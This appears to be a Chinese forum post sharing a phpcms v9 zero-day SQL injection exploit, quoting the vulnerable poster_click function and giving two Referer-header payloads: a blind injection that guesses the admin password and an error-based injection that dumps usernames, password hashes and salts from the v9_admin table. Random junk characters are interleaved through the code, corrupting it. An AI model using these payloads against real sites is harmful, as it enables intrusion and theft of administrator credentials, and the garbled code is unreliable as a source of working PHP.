phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:

问题函数\phpcms\modules\poster\index.php

( i: E, e* N! ^: B3 C1 apublic function poster_click() {
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
7 y& k, W( n2 s% C$r = $this->db->get_one(array('id'=>$id));
' ?. k$ {' Y* f8 wif (!is_array($r) && empty($r)) return false;
$ip_area = pc_base::load_sys_class('ip_area');
9 W* [( ?: _2 ~$ip = ip();
# j. U; H8 C0 Q5 \$ a0 ]$area = $ip_area->get($ip);
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
if($id) {
8 E$ M$ r: E0 m6 y$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
9 l1 W' |  W6 T' c/ H6 w$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
3 H" r7 f5 h+ Q; i" E$ t3 ^. H; H$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
$setting = string2array($r['setting']);
, A" M9 K* a% l% o$ q2 Mif (count($setting)==1) {
5 ^6 {, a: X5 d3 X( P2 a  r$url = $setting['1']['linkurl'];
8 H# p5 r% l" q. \} else {
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
/ q' b! d) {( h6 v4 ]* O7 s}
header('Location: '.$url);
}



利用方式：
* h, O. I- y  Q: G  O
* |: l0 Q( S1 u6 T7 t( s, }4 w5 W1、可以采用盲注入的手法：
' j$ k) z5 {& [+ v
, _6 Y, S: f, S# `" P* w! y0 p; lreferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
. J2 Z! }) f, n) I9 f
通过返回页面，正常与否一个个猜解密码字段。
* u* f7 K( U! l* B4 ^5 k2 d5 a
2、代码是花开写的，随手附上了：

1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
! n9 \& X$ ]! |# x3 z' l
( f. n* V7 ~# A# Y  U此方法是爆错注入手法，原理自查。
. k, I8 T4 [0 ^# Z. j8 ^2 {
